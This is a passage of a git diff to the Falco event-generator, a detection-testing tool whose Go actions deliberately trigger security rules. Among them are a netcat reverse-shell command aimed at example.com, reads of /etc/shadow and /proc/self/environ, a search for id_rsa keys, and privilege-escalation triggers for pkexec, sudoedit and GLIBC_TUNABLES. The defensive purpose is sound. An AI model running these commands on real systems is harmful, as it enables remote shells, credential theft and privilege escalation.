syscall import ( + "errors" "os" "github.com/falcosecurity/event-generator/events" @@ -26,8 +27,33 @@ var _ = events.Register( ) func MkdirBinaryDirs(h events.Helper) error { - const dirname = "/bin/directory-created-by-event-generator" - h.Log().Infof("writing to %s", dirname) - defer os.Remove(dirname) - return os.Mkdir(dirname, os.FileMode(0755)) + // ensure /bin exists + if _, err := os.Stat("/bin"); os.IsNotExist(err) { + if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil { + return err + } + // remove /bin directory + defer func() { + if err := os.RemoveAll("/bin"); err != nil { + h.Log().WithError(err).Error("failed to remove /bin directory") + } + }() + } + + // create a unique temp directory under /bin + tmpDir, err := os.MkdirTemp("/bin", "falco-event-generator-syscall-MkdirBinaryDirs-") + if err != nil { + // to trigger the rule, it is enough to try, so we ignore permission denied errors + if errors.Is(err, os.ErrPermission) { + return nil + } + return err + } + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() + + return nil } diff --git a/events/syscall/modify_binary_dirs.go b/events/syscall/modify_binary_dirs.go index 190d4b7a..05554f3a 100644 --- a/events/syscall/modify_binary_dirs.go +++ b/events/syscall/modify_binary_dirs.go @@ -15,6 +15,8 @@ limitations under the License. package syscall import ( + "errors" + "fmt" "os" "github.com/falcosecurity/event-generator/events" @@ -26,11 +28,23 @@ var _ = events.Register( ) func ModifyBinaryDirs(h events.Helper) error { - const from = "/bin/true" - const to = "/bin/true.event-generator" - h.Log().Infof("modifying %s to %s and back", from, to) - if err := os.Rename(from, to); err != nil { + org := "/bin/true" + + // generate new "random" binary name + new := fmt.Sprintf("%s.falco-event-generator-syscall-ModifyBinaryDirs-%s", org, randomString(6)) + + if err := os.Rename(org, new); err != nil { + // to trigger the rule, it is enough to try, so we ignore permission denied errors + if errors.Is(err, os.ErrPermission) { + return nil + } return err } - return os.Rename(to, from) + defer func() { + if err := os.Rename(new, org); err != nil { + h.Log().WithError(err).Error("failed to restore the original binary") + } + }() + + return nil } diff --git a/events/syscall/modify_container_entrypoint.go b/events/syscall/modify_container_entrypoint.go index 16780f13..cc333561 100644 --- a/events/syscall/modify_container_entrypoint.go +++ b/events/syscall/modify_container_entrypoint.go @@ -15,9 +15,10 @@ limitations under the License. package syscall import ( - "github.com/falcosecurity/event-generator/events" - "io" + "errors" "os" + + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register( @@ -26,38 +27,28 @@ var _ = events.Register( ) func ModifyContainerEntrypoint(h events.Helper) error { - if h.InContainer() { - file, err := os.OpenFile("/proc/self/fd/1", os.O_WRONLY, 0644) - if err != nil { - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - defer file.Close() - - // Get the current size of the file - fileInfo, err := file.Stat() - if err != nil { - return err - } - initialFileSize := fileInfo.Size() - - // Write "written by event-generator" to the end of the file - data := []byte("written by event-generator") + } - _, err = file.Seek(0, io.SeekEnd) - if err != nil { - return err - } - _, err = file.Write(data) - if err != nil { - return err - } - // Truncate the file to its initial size to remove the written content - err = file.Truncate(initialFileSize) - if err != nil { - return err + // it is enough to open /proc/self/exe or a file under /proc/self/fd/ for writing to trigger the rule + file, err := os.OpenFile("/proc/self/fd/1", os.O_WRONLY, os.FileMode(0644)) + if err != nil { + // skip permission denied errors + if errors.Is(err, os.ErrPermission) { + return &events.ErrSkipped{ + Reason: "permission denied while trying to open /proc/self/fd/1 for writing", + } } + return err } - return &events.ErrSkipped{ - Reason: "'Modify Container Entrypoint' is applicable only to containers.", - } + defer func() { + if err := file.Close(); err != nil { + h.Log().WithError(err).Error("failed to close /proc/self/fd/1 file") + } + }() + + return nil } diff --git a/events/syscall/modify_shell_configuration_file.go b/events/syscall/modify_shell_configuration_file.go index c49a72f7..87ef4d99 100644 --- a/events/syscall/modify_shell_configuration_file.go +++ b/events/syscall/modify_shell_configuration_file.go @@ -15,28 +15,35 @@ limitations under the License. package syscall import ( - "os" - "path/filepath" + "os" + "path/filepath" - "github.com/falcosecurity/event-generator/events" + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register( - ModifyShellConfigurationFile, - events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action + ModifyShellConfigurationFile, + events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action ) func ModifyShellConfigurationFile(h events.Helper) error { - // Define the path to the file - tmpDir := "/tmp" - tmpConfigFile := filepath.Join(tmpDir, ".bashrc") - - // Modify the file - content := []byte("# written by event-generator\n") - err := os.WriteFile(tmpConfigFile, content, 0644) - if err != nil { - return err - } - - return nil + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ModifyShellConfigurationFile-") + if err != nil { + return err + } + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() + + shellrc := filepath.Join(tmpDir, ".bashrc") + + // overwrite the content of a shell configuration file + if err := os.WriteFile(shellrc, []byte("# written by falco-event-generator\n"), os.FileMode(0644)); err != nil { + return err + } + + return nil } diff --git a/events/syscall/mount_launched_in_privileged_container.go b/events/syscall/mount_launched_in_privileged_container.go index 36344624..527c9da8 100644 --- a/events/syscall/mount_launched_in_privileged_container.go +++ b/events/syscall/mount_launched_in_privileged_container.go @@ -1,3 +1,6 @@ +//go:build linux +// +build linux + // SPDX-License-Identifier: Apache-2.0 /* Copyright (C) 2024 The Falco Authors. @@ -16,6 +19,7 @@ package syscall import ( "os/exec" + "strings" "syscall" "github.com/falcosecurity/event-generator/events" @@ -24,15 +28,33 @@ import ( var _ = events.Register(MountLaunchedInPrivilegedContainer) func MountLaunchedInPrivilegedContainer(h events.Helper) error { - if h.InContainer() { - cmd := exec.Command("mount", "-o") - cmd.SysProcAttr = &syscall.SysProcAttr{ - Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER, + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - _ = cmd.Run() // This command will give a run time error, but enough to trigger the rule - return nil } - return &events.ErrSkipped{ - Reason: "'Mount Launched In Privileged Container' is applicable only to privileged containers.", + + // skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error + // read the CapEff value from /proc/self/status + if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil { + // convert the CapEff value to a string and trim whitespace + capEffValue := strings.TrimSpace(string(capEffValueBytes)) + // check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value + if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin { + return &events.ErrSkipped{ + Reason: "privileged container required", + } + } } -} \ No newline at end of file + + cmd := exec.Command("mount", "-o") + cmd.SysProcAttr = &syscall.SysProcAttr{ + Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER, + } + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := cmd.Run(); err != nil { + h.Log().WithError(err).Debug("failed to run mount command (this is expected)") + } + + return nil +} diff --git a/events/syscall/netcat_remote_code_execution_in_container.go b/events/syscall/netcat_remote_code_execution_in_container.go index 34db05b4..549f11f6 100644 --- a/events/syscall/netcat_remote_code_execution_in_container.go +++ b/events/syscall/netcat_remote_code_execution_in_container.go @@ -23,17 +23,25 @@ import ( var _ = events.Register(NetcatRemoteCodeExecutionInContainer) func NetcatRemoteCodeExecutionInContainer(h events.Helper) error { - if h.InContainer() { - // Launch netcat (nc) with the -e flag for remote code execution - cmd := exec.Command("nc", "-e") - - h.Log().Info("Netcat runs inside container that allows remote code execution") - err := cmd.Run() - if err != nil { - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } } - return &events.ErrSkipped{ - Reason: "'Netcat Remote Code Execution In Container' is applicable only to containers.", + + nc, err := exec.LookPath("nc") + if err != nil { + // if we don't have a netcat, just bail + return &events.ErrSkipped{ + Reason: "netcat executable file not found in $PATH", + } } + + // launch netcat (nc) with the -e flag for remote code execution + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("timeout", "1s", nc, "-e", "/bin/sh", "example.com", "22").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run nc command (this is expected)") + } + + return nil } diff --git a/events/syscall/non_sudo_setuid.go b/events/syscall/non_sudo_setuid.go index a2514f28..caa1e94d 100644 --- a/events/syscall/non_sudo_setuid.go +++ b/events/syscall/non_sudo_setuid.go @@ -18,6 +18,9 @@ limitations under the License. package syscall import ( + "errors" + "os" + "github.com/falcosecurity/event-generator/events" ) @@ -27,15 +30,21 @@ var _ = events.Register( ) func NonSudoSetuid(h events.Helper) error { + // ensure the process is spawned, otherwise we might hit unexpected side effect issues with becameUser() if h.Spawned() { h.Log().Debug("first setuid to something non-root, then try to setuid back to root") if err := becameUser(h, "daemon"); err != nil { + // to trigger the rule, it is enough to try, so we ignore permission denied errors + if errors.Is(err, os.ErrPermission) { + return nil + } return err } - err := becameUser(h, "root") - h.Log().WithError(err).Debug("ignore root setuid error") + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := becameUser(h, "root"); err != nil { + h.Log().WithError(err).Debug("failed to setuid back to root (might be ok)") + } return nil - } else { - return h.SpawnAsWithSymlink("child", "syscall.NonSudoSetuid") } + return h.SpawnAsWithSymlink("child", "syscall.NonSudoSetuid") } diff --git a/events/syscall/packet_socket_created_in_container.go b/events/syscall/packet_socket_created_in_container.go index 3f0aa251..4cc91a5d 100644 --- a/events/syscall/packet_socket_created_in_container.go +++ b/events/syscall/packet_socket_created_in_container.go @@ -26,15 +26,21 @@ import ( var _ = events.Register(PacketSocketCreatedInContainer) func PacketSocketCreatedInContainer(h events.Helper) error { - if h.InContainer() { - fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, int(syscall.ETH_P_ALL)) - if err != nil { - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - defer syscall.Close(fd) - syscall.Close(fd) } - return &events.ErrSkipped{ - Reason: "'Packet Socket Created In Container' is applicable only to containers.", + + fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, int(syscall.ETH_P_ALL)) + if err != nil { + return err } + defer func() { + if err := syscall.Close(fd); err != nil { + h.Log().WithError(err).Error("failed to close socket") + } + }() + + return nil } diff --git a/events/syscall/polkit_local_privilege_escalation_vulnerability.go b/events/syscall/polkit_local_privilege_escalation_vulnerability.go index 7b456308..e337d947 100644 --- a/events/syscall/polkit_local_privilege_escalation_vulnerability.go +++ b/events/syscall/polkit_local_privilege_escalation_vulnerability.go @@ -18,6 +18,9 @@ limitations under the License. package syscall import ( + "errors" + "os/exec" + "github.com/falcosecurity/event-generator/events" ) @@ -27,6 +30,28 @@ var _ = events.Register( ) func PolkitLocalPrivilegeEscalationVulnerabilityCVE20214034(h events.Helper) error { - //To setuid to something non-root user - return runAsUser(h, "daemon", "pkexec", "--user", "daemon") + pkexec, err := exec.LookPath("pkexec") + if err != nil { + // if we don't have a pkexec, just bail + return &events.ErrSkipped{ + Reason: "pkexec executable file not found in $PATH", + } + } + + // run pkexec as non-root user and without arguments + err = runAsUser(h, "daemon", pkexec) + + // silently ignore the "exit status 127: Refusing to render service to dead parents" error + // we need to unwrap the error to get the exit code + unerr := errors.Unwrap(err) + if unerr == nil { + unerr = err + } + if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 127 { + return &events.ErrSkipped{ + Reason: "pkexec execution failed with exit code 127 (might be ok) - probably patched and not vulnerable to CVE-2021-4034", + } + } + + return err } diff --git a/events/syscall/potential_local_privillege_escalation_via_env_var_misuse.go b/events/syscall/potential_local_privillege_escalation_via_env_var_misuse.go index ca21ebc9..e7d43781 100644 --- a/events/syscall/potential_local_privillege_escalation_via_env_var_misuse.go +++ b/events/syscall/potential_local_privillege_escalation_via_env_var_misuse.go @@ -18,26 +18,24 @@ limitations under the License. package syscall import ( - "os" - "os/exec" + "fmt" + "os" + "os/exec" + "strings" - "github.com/falcosecurity/event-generator/events" + "github.com/falcosecurity/event-generator/events" ) -var _ = events.Register(PotentialLocalPrivillegeEscalation) +var _ = events.Register(PotentialLocalPrivilegeEscalationViaEnvironmentVariablesMisuse) -func PotentialLocalPrivillegeEscalation(h events.Helper) error { - // Set the GLIBC_TUNABLES environment variable - cmd := exec.Command("bash", "-c", "id") - cmd.Env = os.Environ() - cmd.Env = append(cmd.Env, "GLIBC_TUNABLES=glibc.tune.hwcaps=-WAITED,glibc.tune.secrets=2") +func PotentialLocalPrivilegeEscalationViaEnvironmentVariablesMisuse(h events.Helper) error { + // Set the GLIBC_TUNABLES environment variable + cmd := exec.Command("sh", "-c", "id") + cmd.Env = append(os.Environ(), "GLIBC_TUNABLES=glibc.tune.hwcaps=-WAITED,glibc.tune.secrets=2") - h.Log().Info("Process run with suspect environment variable which could be attempting privilege escalation") - err := cmd.Run() - if err != nil { - h.Log().WithError(err).Error("Failed to execute process with modified environment") - return err - } + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } - return nil + return nil } diff --git a/events/syscall/program_run_with_disallowed_http_proxy_env.go b/events/syscall/program_run_with_disallowed_http_proxy_env.go index f6f7475d..268e7cf9 100644 --- a/events/syscall/program_run_with_disallowed_http_proxy_env.go +++ b/events/syscall/program_run_with_disallowed_http_proxy_env.go @@ -30,12 +30,11 @@ func ProgramRunWithDisallowedHttpProxyEnv(h events.Helper) error { curl, err := exec.LookPath("curl") if err != nil { return &events.ErrSkipped{ - Reason: "curl utility is needed to launch this action", + Reason: "curl executable file not found in $PATH", } } + cmd := exec.Command(curl, "http://example.com") - cmd.Env = os.Environ() - cmd.Env = append(cmd.Env, "HTTP_PROXY=http://my.http.proxy.com ") - h.Log().Info("executing curl or wget with disallowed HTTP_PROXY environment variable") + cmd.Env = append(os.Environ(), "HTTP_PROXY=http://my.http.proxy.com ") return cmd.Run() } diff --git a/events/syscall/ptrace_anti_debug_attempt.go b/events/syscall/ptrace_anti_debug_attempt.go index 446b92b2..6a4b33a6 100644 --- a/events/syscall/ptrace_anti_debug_attempt.go +++ b/events/syscall/ptrace_anti_debug_attempt.go @@ -24,20 +24,22 @@ import ( var _ = events.Register(PtraceAntiDebugAttempt) func PtraceAntiDebugAttempt(h events.Helper) error { - // Start a dummy process which sleeps for 1hr + // start a dummy process which sleeps for 1hr cmd := exec.Command("sleep", "3600") cmd.SysProcAttr = &syscall.SysProcAttr{ Ptrace: true, // This is equivalent to calling PTRACE_TRACEME in the child } if err := cmd.Start(); err != nil { - h.Log().WithError(err).Error("Failed to start dummy process") + h.Log().WithError(err).Error("failed to start dummy process") return err } - pid := cmd.Process.Pid - defer syscall.PtraceDetach(pid) // Detach the dummy process at end - defer cmd.Process.Kill() // Kill the dummy process at end + // kill the dummy process + defer func() { + if err := cmd.Process.Kill(); err != nil { + h.Log().WithError(err).Error("failed to kill dummy process") + } + }() - h.Log().Infof("Successfully called ptrace with PTRACE_TRACEME argument") return nil } diff --git a/events/syscall/ptrace_attached_to_process.go b/events/syscall/ptrace_attached_to_process.go index 36e24c5f..5d2d5713 100644 --- a/events/syscall/ptrace_attached_to_process.go +++ b/events/syscall/ptrace_attached_to_process.go @@ -24,19 +24,25 @@ import ( var _ = events.Register(PtraceAttachedToProcess) func PtraceAttachedToProcess(h events.Helper) error { - // Start a dummy process which sleeps for 1hr + // start a dummy process which sleeps for 1hr cmd := exec.Command("sleep", "3600") if err := cmd.Start(); err != nil { - h.Log().WithError(err).Error("Failed to start dummy process") return err } pid := cmd.Process.Pid - h.Log().Infof("Attached to dummy process with PID %d using PTRACE_ATTACH", pid) + defer func() { + // try to detach the dummy process (may fail) + if err := syscall.PtraceDetach(pid); err != nil { + h.Log().WithError(err).Debug("failed to detach dummy process (might be ok)") + } - defer syscall.PtraceDetach(pid) // Detach the process at end - defer cmd.Process.Kill() // Kill the dummy process at end + // kill the dummy process + if err := cmd.Process.Kill(); err != nil { + h.Log().WithError(err).Error("failed to kill dummy process") + } + }() - // Attach to the target process using PTRACE_ATTACH + // attach to the target process using PTRACE_ATTACH return syscall.PtraceAttach(pid) } diff --git a/events/syscall/read_environment_variable_fromm_proc.go b/events/syscall/read_environment_variable_fromm_proc.go index 45e8ab51..1a52f391 100644 --- a/events/syscall/read_environment_variable_fromm_proc.go +++ b/events/syscall/read_environment_variable_fromm_proc.go @@ -14,7 +14,9 @@ limitations under the License. package syscall import ( + "fmt" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -25,12 +27,16 @@ var _ = events.Register( ) func ReadEnvironmentVariableFromProcFiles(h events.Helper) error { - if h.InContainer() { - cmd := exec.Command("cat", "/proc/self/environ") - err := cmd.Run() - if err != nil { - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } } + + cmd := exec.Command("cat", "/proc/self/environ") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + return nil } diff --git a/events/syscall/read_sensitive_file_trusted_after_startup.go b/events/syscall/read_sensitive_file_trusted_after_startup.go index d2611f8c..26640249 100644 --- a/events/syscall/read_sensitive_file_trusted_after_startup.go +++ b/events/syscall/read_sensitive_file_trusted_after_startup.go @@ -21,5 +21,6 @@ import ( var _ = events.Register(ReadSensitiveFileTrustedAfterStartup) func ReadSensitiveFileTrustedAfterStartup(h events.Helper) error { + // for the event to be triggered, the new process must run for at least 5 seconds return h.SpawnAsWithSymlink("httpd", "syscall.ReadSensitiveFileUntrusted", "--sleep", "6s") } diff --git a/events/syscall/read_sensitive_file_untrusted.go b/events/syscall/read_sensitive_file_untrusted.go index 9ed7f27c..8a3d2ff4 100644 --- a/events/syscall/read_sensitive_file_untrusted.go +++ b/events/syscall/read_sensitive_file_untrusted.go @@ -23,8 +23,15 @@ import ( var _ = events.Register(ReadSensitiveFileUntrusted) func ReadSensitiveFileUntrusted(h events.Helper) error { - const filename = "/etc/shadow" - file, err := os.Open(filename) - defer file.Close() - return err + file, err := os.Open("/etc/shadow") + if err != nil { + return err + } + defer func() { + if err := file.Close(); err != nil { + h.Log().WithError(err).Error("failed to close /etc/shadow file") + } + }() + + return nil } diff --git a/events/syscall/read_shell_configuration_file.go b/events/syscall/read_shell_configuration_file.go index 98f74862..ec286579 100644 --- a/events/syscall/read_shell_configuration_file.go +++ b/events/syscall/read_shell_configuration_file.go @@ -27,17 +27,38 @@ var _ = events.Register( ) func ReadShellConfigurationFile(h events.Helper) error { - // Create a unique tempdirectory - tempDirectoryName, err := os.MkdirTemp("/", "created-by-event-generator-") + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ReadShellConfigurationFile-") if err != nil { return err } - defer os.RemoveAll(tempDirectoryName) + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() - filename := filepath.Join(tempDirectoryName, ".bashrc") - // os.Create is enough to trigger the rule - if _, err := os.Create(filename); err != nil { + shellrc := filepath.Join(tmpDir, ".bashrc") + + // create a dummy shell configuration file + file, err := os.Create(shellrc) + if err != nil { + return err + } + if err := file.Close(); err != nil { + h.Log().WithError(err).Error("failed to close temp file") + } + + // open the file to trigger the rule + file, err = os.Open(shellrc) + if err != nil { return err } + defer func() { + if err := file.Close(); err != nil { + h.Log().WithError(err).Error("failed to close temp file") + } + }() + return nil } diff --git a/events/syscall/read_ssh_information.go b/events/syscall/read_ssh_information.go index bedfa1ac..9904aae2 100644 --- a/events/syscall/read_ssh_information.go +++ b/events/syscall/read_ssh_information.go @@ -31,20 +31,18 @@ var _ = events.Register( ) func ReadSshInformation(h events.Helper) error { - // Creates .ssh directory inside tempDirectory - sshDir, cleanup, err := createSshDirectoryUnderHome() + // create .ssh directory inside tempDirectory + sshDir, cleanup, err := createSshDirectoryUnderHome(h) if err != nil { return err } - defer cleanup() // Cleanup after function return + defer cleanup() - // Create known_hosts file. os.Create is enough to trigger the rule + // creating a dummy known_hosts file is enough to trigger the rule filename := filepath.Join(sshDir, "known_hosts") if _, err := os.Create(filename); err != nil { return err } - h.Log().Info("attempting to simulate SSH information read") - return nil } diff --git a/events/syscall/remove_bulk_data_from_disk.go b/events/syscall/remove_bulk_data_from_disk.go index 441bc39b..4305ee38 100644 --- a/events/syscall/remove_bulk_data_from_disk.go +++ b/events/syscall/remove_bulk_data_from_disk.go @@ -15,8 +15,10 @@ limitations under the License. package syscall import ( + "fmt" "os" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -24,17 +26,29 @@ import ( var _ = events.Register(RemoveBulkDataFromDisk) func RemoveBulkDataFromDisk(h events.Helper) error { - // Creates temporary data for testing, avoiding critical file deletion. - filename := "/created-by-falco-event-generator" - defer os.RemoveAll(filename) // clean up - if err := os.WriteFile(filename, []byte("bulk data content"), os.FileMode(0755)); err != nil { + shred, err := exec.LookPath("shred") + if err != nil { + // if we don't have a shred, just bail + return &events.ErrSkipped{ + Reason: "shred executable file not found in $PATH", + } + } + + // create a unique file under temp directory + file, err := os.CreateTemp("", "falco-event-generator-syscall-RemoveBulkDataFromDisk-") + if err != nil { return err } - h.Log().Infof("attempting to run shred command to remove bulk data from disk") - // Rule triggers regardless of whether the 'shred' utility exists or its outcome - // Therefore, there's no need to skip the action or report the error in any case - cmd := exec.Command("shred", "-u", filename) - cmd.Run() + if err := os.WriteFile(file.Name(), []byte("bulk data content"), os.FileMode(0600)); err != nil { + return err + } + + // shred the file content + cmd := exec.Command(shred, "-u", file.Name()) + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + return nil } diff --git a/events/syscall/schedule_cron_jobs.go b/events/syscall/schedule_cron_jobs.go index 19240770..81d59017 100644 --- a/events/syscall/schedule_cron_jobs.go +++ b/events/syscall/schedule_cron_jobs.go @@ -29,23 +29,20 @@ var _ = events.Register( ) func ScheduleCronJobs(h events.Helper) error { - // This just lists crons, but sufficies to trigger the event - // Cron detection is not enabled by default, see `consider_all_cron_jobs` in rules.yaml - - path, err := exec.LookPath("crontab") + crontab, err := exec.LookPath("crontab") if err != nil { // if we don't have a crontab, just bail return &events.ErrSkipped{ - Reason: "crontab utility not found in path", + Reason: "crontab executable file not found in $PATH", } } - cmd := exec.Command(path, "-l") - err = cmd.Run() - // silently ignore crontab exit status 1 - if exitErr, isExitErr := err.(*exec.ExitError); isExitErr { - h.Log().WithError(exitErr).Debug("silently ignore exit status") + // this just lists crons, but enough to trigger the rule, so we ignore crontab exit code 1 + err = exec.Command(crontab, "-l").Run() + if ee, ok := err.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 { + h.Log().WithError(err).Debug("crontab command failed with exit code 1 (might be ok)") return nil } + return err } diff --git a/events/syscall/search_private_keys_or_passwords.go b/events/syscall/search_private_keys_or_passwords.go index 9e3bf3d0..de28d546 100644 --- a/events/syscall/search_private_keys_or_passwords.go +++ b/events/syscall/search_private_keys_or_passwords.go @@ -15,7 +15,10 @@ limitations under the License. package syscall import ( + "fmt" + "os" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -23,20 +26,18 @@ import ( var _ = events.Register(SearchPrivateKeysOrPasswords) func SearchPrivateKeysOrPasswords(h events.Helper) error { - path, err := exec.LookPath("find") + find, err := exec.LookPath("find") if err != nil { // if we don't have a find, just bail return &events.ErrSkipped{ - Reason: "find utility not found in path", + Reason: "find executable file not found in $PATH", } } - cmd := exec.Command(path, "id_rsa") - err = cmd.Run() - // silently ignore find exit status 1 - if exitErr, isExitErr := err.(*exec.ExitError); isExitErr { - h.Log().WithError(exitErr).Debug("silently ignore exit status") - return nil + cmd := exec.Command(find, os.TempDir(), "-maxdepth", "1", "-iname", "id_rsa") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) } - return err + + return nil } diff --git a/events/syscall/set_setuid_or_set_setgid_bit.go b/events/syscall/set_setuid_or_set_setgid_bit.go index e1862f9c..cc44ece7 100644 --- a/events/syscall/set_setuid_or_set_setgid_bit.go +++ b/events/syscall/set_setuid_or_set_setgid_bit.go @@ -18,8 +18,10 @@ limitations under the License. package syscall import ( + "fmt" "os" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -30,20 +32,21 @@ var _ = events.Register( ) func SetSetuidorSetgidbit(h events.Helper) error { - // Create a unique temp file - file, err := os.CreateTemp("", "created-by-falco-event-generator-") + // create a unique file under temp directory + file, err := os.CreateTemp("", "falco-event-generator-syscall-SetSetuidorSetgidbit-") if err != nil { - h.Log().WithError(err).Error("Error Creating an empty file") return err } - defer os.Remove(file.Name()) // Remove the file after function return + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() - // Set setuid bit with this command + // set setuid bit cmd := exec.Command("chmod", "u+s", file.Name()) - - if err := cmd.Run(); err != nil { - h.Log().WithError(err).Error("Error running chmod commad") - return err + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) } return nil diff --git a/events/syscall/sudo_potential_privilege_escalaton.go b/events/syscall/sudo_potential_privilege_escalaton.go index e74f1282..bf2a661c 100644 --- a/events/syscall/sudo_potential_privilege_escalaton.go +++ b/events/syscall/sudo_potential_privilege_escalaton.go @@ -18,6 +18,9 @@ limitations under the License. package syscall import ( + "errors" + "os/exec" + "github.com/falcosecurity/event-generator/events" ) @@ -27,6 +30,27 @@ var _ = events.Register( ) func SudoPotentialPrivilegeEscalation(h events.Helper) error { - //To setuid to something non-root user - return runAsUser(h, "daemon", "sudoedit", "-u", "daemon", "-s", "ls\\") + sudoedit, err := exec.LookPath("sudoedit") + if err != nil { + // if we don't have a sudoedit, just bail + return &events.ErrSkipped{ + Reason: "sudoedit executable file not found in $PATH", + } + } + + // note: executing the following command might fail, but enough to trigger the rule, so we ignore the exit code 1 error + err = runAsUser(h, "daemon", sudoedit, "-u", "daemon", "-s", "ls\\") + + // we need to unwrap the error to get the exit code + unerr := errors.Unwrap(err) + if unerr == nil { + unerr = err + } + if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 { + return &events.ErrSkipped{ + Reason: "sudoedit command failed with exit code 1 (might be ok) - probably patched and not vulnerable to CVE-2021-3156", + } + } + + return err } diff --git a/events/syscall/system_user_interactive.go b/events/syscall/system_user_interactive.go index e5125d0b..4b782b56 100644 --- a/events/syscall/system_user_interactive.go +++ b/events/syscall/system_user_interactive.go @@ -18,6 +18,7 @@ limitations under the License. package syscall import ( + "errors" "os/exec" "github.com/falcosecurity/event-generator/events" @@ -28,10 +29,16 @@ var _ = events.Register(SystemUserInteractive) func SystemUserInteractive(h events.Helper) error { err := runAsUser(h, "daemon", "/bin/login") - // silently ignore /bin/login exit status 1 - if exitErr, isExitErr := err.(*exec.ExitError); isExitErr { - h.Log().WithError(exitErr).Debug("silently ignore exit status") + // we need to unwrap the error to get the exit code + unerr := errors.Unwrap(err) + if unerr == nil { + unerr = err + } + // silently ignore /bin/login exit code 1 + if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 { + h.Log().WithError(err).Debug("login command run as user daemon failed with exit code 1 (might be ok)") return nil } + return err } diff --git a/events/syscall/unexpected_udp_traffic.go b/events/syscall/unexpected_udp_traffic.go index 337c0786..7a599c42 100644 --- a/events/syscall/unexpected_udp_traffic.go +++ b/events/syscall/unexpected_udp_traffic.go @@ -18,23 +18,29 @@ limitations under the License. package syscall import ( - "os/exec" - "github.com/falcosecurity/event-generator/events" + "os/exec" + + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register( - UnexpectedUDPTraffic, - events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action + UnexpectedUDPTraffic, + events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action ) func UnexpectedUDPTraffic(h events.Helper) error { - cmd := exec.Command("timeout", "1s", "nc", "-u", "192.168.1.2", "22") - err := cmd.Run() - if err != nil { - return err - } + nc, err := exec.LookPath("nc") + if err != nil { + // if we don't have a netcat, just bail + return &events.ErrSkipped{ + Reason: "netcat executable file not found in $PATH", + } + } - h.Log().Infof("Unexpected UDP Traffic Seen") + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("timeout", "1s", nc, "-u", "example.com", "22").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run nc command (this is expected)") + } - return nil + return nil } diff --git a/events/syscall/unprivileged_delegation_of_page_faults_handling_to_a_userspace_process.go b/events/syscall/unprivileged_delegation_of_page_faults_handling_to_a_userspace_process.go index eb3f2c30..05d63393 100644 --- a/events/syscall/unprivileged_delegation_of_page_faults_handling_to_a_userspace_process.go +++ b/events/syscall/unprivileged_delegation_of_page_faults_handling_to_a_userspace_process.go @@ -28,11 +28,16 @@ var _ = events.Register( ) func UnprivilegedDelegationofPageFaultsHandlingtoaUserspaceProcess(h events.Helper) error { - // To make user.uid != 0 - if err := becameUser(h, "daemon"); err != nil { - return err + // ensure the process is spawned, otherwise we might hit unexpected side effect issues with becameUser() + if h.Spawned() { + // to make user.uid != 0 + h.Log().Debug("setuid to something non-root") + if err := becameUser(h, "daemon"); err != nil { + return err + } + // attempt to create userfaultfd syscall is enough + _, _, _ = unix.Syscall(unix.SYS_USERFAULTFD, 0, 0, 0) + return nil } - // Attempt to create userfaultfd syscall is enough - unix.Syscall(unix.SYS_USERFAULTFD, 0, 0, 0) - return nil + return h.SpawnAsWithSymlink("child", 